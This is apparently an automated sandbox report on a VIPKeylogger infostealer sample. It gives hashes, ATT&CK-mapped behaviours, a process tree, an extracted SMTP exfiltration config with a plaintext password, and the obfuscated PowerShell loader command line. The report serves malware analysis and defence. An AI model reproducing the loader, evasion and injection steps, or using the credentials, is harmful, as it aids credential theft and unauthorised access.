vipkeylogger | a3f7477a9612f8ac90866fb2c4adc56a447f4a8262e4ac75bb1c825a254afbac

Analysis

max time kernel
143s
max time network
143s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
18-12-2024 03:19

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General

Target

a3f7477a9612f8ac90866fb2c4adc56a447f4a8262e4ac75bb1c825a254afbac.exe
Size

903KB
MD5

c9007399358b2c71f94731c0dada3aae
SHA1

52961d38410067be7256356aa18ee52051bef614
SHA256

a3f7477a9612f8ac90866fb2c4adc56a447f4a8262e4ac75bb1c825a254afbac
SHA512

67b9d38ccc08b2acdc09df19ebed66a945f6a6854e1e5f9b3f1a73eef4a466abbb13fa52519c732445d6418c388adec2b9ee827100ff2caedd0958f95061bb77
SSDEEP

12288:7Xcxx2t6G/sAgiXH5DybRcnygUUDJ3l0DbiLutNS3haM78EQMZxmfemFXHW65zu+:7X22t6whH1nXrLKvE3l8Et2F2YuriV

Score

10^/10

vipkeylogger collection discovery execution keylogger stealer

Malware Config

Extracted

Family

vipkeylogger

Credentials

Protocol: smtp
Host:
smtp.ionos.es
Port:
587
Username:
[email protected]
Password:
FungiCLM-Administracion24
Email To:
[email protected]

Signatures

VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
stealer keylogger vipkeylogger
Vipkeylogger family
vipkeylogger

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe
Key opened	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe
Key opened	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe

Blocklisted process makes network request 8 IoCs

flow	pid	Process
21	1604	msiexec.exe
23	1604	msiexec.exe
25	1604	msiexec.exe
27	1604	msiexec.exe
29	1604	msiexec.exe
35	1604	msiexec.exe
37	1604	msiexec.exe
41	1604	msiexec.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
20	drive.google.com
21	drive.google.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
34	checkip.dyndns.org

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
1604	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
1132	powershell.exe
1604	msiexec.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\huzzah.lnk	a3f7477a9612f8ac90866fb2c4adc56a447f4a8262e4ac75bb1c825a254afbac.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1132	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	a3f7477a9612f8ac90866fb2c4adc56a447f4a8262e4ac75bb1c825a254afbac.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
1132	powershell.exe
1132	powershell.exe
1132	powershell.exe
1132	powershell.exe
1132	powershell.exe
1132	powershell.exe
1132	powershell.exe
1132	powershell.exe
1132	powershell.exe
1604	msiexec.exe
1604	msiexec.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
1132	powershell.exe

Suspicious use of AdjustPrivilegeToken 23 IoCs

description	pid	Process
Token: SeDebugPrivilege	1132	powershell.exe
Token: SeIncreaseQuotaPrivilege	1132	powershell.exe
Token: SeSecurityPrivilege	1132	powershell.exe
Token: SeTakeOwnershipPrivilege	1132	powershell.exe
Token: SeLoadDriverPrivilege	1132	powershell.exe
Token: SeSystemProfilePrivilege	1132	powershell.exe
Token: SeSystemtimePrivilege	1132	powershell.exe
Token: SeProfSingleProcessPrivilege	1132	powershell.exe
Token: SeIncBasePriorityPrivilege	1132	powershell.exe
Token: SeCreatePagefilePrivilege	1132	powershell.exe
Token: SeBackupPrivilege	1132	powershell.exe
Token: SeRestorePrivilege	1132	powershell.exe
Token: SeShutdownPrivilege	1132	powershell.exe
Token: SeDebugPrivilege	1132	powershell.exe
Token: SeSystemEnvironmentPrivilege	1132	powershell.exe
Token: SeRemoteShutdownPrivilege	1132	powershell.exe
Token: SeUndockPrivilege	1132	powershell.exe
Token: SeManageVolumePrivilege	1132	powershell.exe
Token: 33	1132	powershell.exe
Token: 34	1132	powershell.exe
Token: 35	1132	powershell.exe
Token: 36	1132	powershell.exe
Token: SeDebugPrivilege	1604	msiexec.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 396 wrote to memory of 1132	396	a3f7477a9612f8ac90866fb2c4adc56a447f4a8262e4ac75bb1c825a254afbac.exe	82
PID 396 wrote to memory of 1132	396	a3f7477a9612f8ac90866fb2c4adc56a447f4a8262e4ac75bb1c825a254afbac.exe	82
PID 396 wrote to memory of 1132	396	a3f7477a9612f8ac90866fb2c4adc56a447f4a8262e4ac75bb1c825a254afbac.exe	82
PID 1132 wrote to memory of 1604	1132	powershell.exe	89
PID 1132 wrote to memory of 1604	1132	powershell.exe	89
PID 1132 wrote to memory of 1604	1132	powershell.exe	89
PID 1132 wrote to memory of 1604	1132	powershell.exe	89

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe

C:\Users\Admin\AppData\Local\Temp\a3f7477a9612f8ac90866fb2c4adc56a447f4a8262e4ac75bb1c825a254afbac.exe
"C:\Users\Admin\AppData\Local\Temp\a3f7477a9612f8ac90866fb2c4adc56a447f4a8262e4ac75bb1c825a254afbac.exe"
1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:396
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -windowstyle minimized "$redeemership=Get-Content -Raw 'C:\Users\Admin\AppData\Roaming\interpellant\stimulere\Chemosis\Torsionsaffjedring.Une';$Tiltalen=$redeemership.SubString(61260,3);.$Tiltalen($redeemership)"
  2⤵
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1132
- - C:\Windows\SysWOW64\msiexec.exe
    "C:\Windows\SysWOW64\msiexec.exe"
    3⤵
    - Accesses Microsoft Outlook profiles
    - Blocklisted process makes network request
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - outlook_office_path
    - outlook_win_path
    PID:1604

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

T1217

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_51sks3fy.e0b.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\interpellant\stimulere\Chemosis\Fugtighedsanlggene.Spo

Filesize
316KB

MD5
beacf496f095426c48cdcbfb02aff79c

SHA1
d26adaa0e0e3026d14cab7e0d4b3529452b42493

SHA256
a7a907803e2932e0ca0a961e6924436e07b95aeda2d4641a612f99aa215ed3a8

SHA512
e7ec3b661a623831f6a7cd31c194ce25f0ed3bfc0bc2657a5f8a84c3c11ea0f31af64062ef28f92a3d390a2c5193ac26b38985843749cff2791ec811897d8d66

Download Submit
C:\Users\Admin\AppData\Roaming\interpellant\stimulere\Chemosis\Torsionsaffjedring.Une

Filesize
71KB

MD5
d779cf7d1c17d1c3a3f3a01045e21c66

SHA1
62bec72bb9ca8b42af58dcf6d1f697c28e970632

SHA256
d3ea7137ab96f1b33a042d5a46da033d5448fa21d494a439bff1b99d36613f5d

SHA512
386658888f01d8787b4f0953156ec2086ac1d7802991bc20d6f388ca133d02e2eb59522f8201d7d7cb11fc2b93d902a78a212f68465e08709aa415e22b9b3004

Download Submit
memory/1132-49-0x0000000073630000-0x0000000073DE0000-memory.dmp

Filesize
7.7MB

Download
memory/1132-64-0x0000000073630000-0x0000000073DE0000-memory.dmp

Filesize
7.7MB

Download
memory/1132-14-0x00000000050B0000-0x0000000005116000-memory.dmp

Filesize
408KB

Download
memory/1132-15-0x0000000005120000-0x0000000005186000-memory.dmp

Filesize
408KB

Download
memory/1132-12-0x0000000005210000-0x0000000005838000-memory.dmp

Filesize
6.2MB

Download
memory/1132-25-0x0000000005940000-0x0000000005C94000-memory.dmp

Filesize
3.3MB

Download
memory/1132-26-0x0000000005F60000-0x0000000005F7E000-memory.dmp

Filesize
120KB

Download
memory/1132-27-0x0000000006010000-0x000000000605C000-memory.dmp

Filesize
304KB

Download
memory/1132-28-0x0000000006F30000-0x0000000006FC6000-memory.dmp

Filesize
600KB

Download
memory/1132-29-0x00000000064A0000-0x00000000064BA000-memory.dmp

Filesize
104KB

Download
memory/1132-30-0x00000000064C0000-0x00000000064E2000-memory.dmp

Filesize
136KB

Download
memory/1132-31-0x00000000075D0000-0x0000000007B74000-memory.dmp

Filesize
5.6MB

Download
memory/1132-11-0x0000000073630000-0x0000000073DE0000-memory.dmp

Filesize
7.7MB

Download
memory/1132-33-0x0000000008200000-0x000000000887A000-memory.dmp

Filesize
6.5MB

Download
memory/1132-35-0x0000000073630000-0x0000000073DE0000-memory.dmp

Filesize
7.7MB

Download
memory/1132-46-0x00000000073B0000-0x00000000073CE000-memory.dmp

Filesize
120KB

Download
memory/1132-34-0x0000000007370000-0x00000000073A2000-memory.dmp

Filesize
200KB

Download
memory/1132-36-0x000000006FB70000-0x000000006FBBC000-memory.dmp

Filesize
304KB

Download
memory/1132-48-0x00000000073E0000-0x0000000007483000-memory.dmp

Filesize
652KB

Download
memory/1132-47-0x0000000073630000-0x0000000073DE0000-memory.dmp

Filesize
7.7MB

Download
memory/1132-50-0x00000000074E0000-0x00000000074EA000-memory.dmp

Filesize
40KB

Download
memory/1132-9-0x000000007363E000-0x000000007363F000-memory.dmp

Filesize
4KB

Download
memory/1132-51-0x0000000007500000-0x0000000007511000-memory.dmp

Filesize
68KB

Download
memory/1132-52-0x0000000007540000-0x000000000754E000-memory.dmp

Filesize
56KB

Download
memory/1132-56-0x0000000007CC0000-0x0000000007CEA000-memory.dmp

Filesize
168KB

Download
memory/1132-54-0x00000000075B0000-0x00000000075CA000-memory.dmp

Filesize
104KB

Download
memory/1132-55-0x0000000007580000-0x0000000007588000-memory.dmp

Filesize
32KB

Download
memory/1132-53-0x0000000007550000-0x0000000007564000-memory.dmp

Filesize
80KB

Download
memory/1132-57-0x0000000007CF0000-0x0000000007D14000-memory.dmp

Filesize
144KB

Download
memory/1132-58-0x0000000073630000-0x0000000073DE0000-memory.dmp

Filesize
7.7MB

Download
memory/1132-61-0x0000000073630000-0x0000000073DE0000-memory.dmp

Filesize
7.7MB

Download
memory/1132-60-0x000000007363E000-0x000000007363F000-memory.dmp

Filesize
4KB

Download
memory/1132-62-0x0000000073630000-0x0000000073DE0000-memory.dmp

Filesize
7.7MB

Download
memory/1132-10-0x00000000025A0000-0x00000000025D6000-memory.dmp

Filesize
216KB

Download
memory/1132-13-0x0000000004F10000-0x0000000004F32000-memory.dmp

Filesize
136KB

Download
memory/1132-65-0x0000000008880000-0x00000000093A5000-memory.dmp

Filesize
11.1MB

Download
memory/1132-66-0x0000000073630000-0x0000000073DE0000-memory.dmp

Filesize
7.7MB

Download
memory/1132-67-0x0000000073630000-0x0000000073DE0000-memory.dmp

Filesize
7.7MB

Download
memory/1604-68-0x0000000002130000-0x0000000002C55000-memory.dmp

Filesize
11.1MB

Download
memory/1604-81-0x0000000000ED0000-0x0000000002124000-memory.dmp

Filesize
18.3MB

Download
memory/1604-82-0x0000000000ED0000-0x0000000000F18000-memory.dmp

Filesize
288KB

Download
memory/1604-83-0x0000000020BC0000-0x0000000020C5C000-memory.dmp

Filesize
624KB

Download
memory/1604-85-0x0000000002130000-0x0000000002C55000-memory.dmp

Filesize
11.1MB

Download
memory/1604-86-0x00000000218F0000-0x0000000021AB2000-memory.dmp

Filesize
1.8MB

Download
memory/1604-87-0x0000000021080000-0x00000000210D0000-memory.dmp

Filesize
320KB

Download
memory/1604-89-0x00000000217C0000-0x0000000021852000-memory.dmp

Filesize
584KB

Download
memory/1604-90-0x0000000021160000-0x000000002116A000-memory.dmp

Filesize
40KB

Download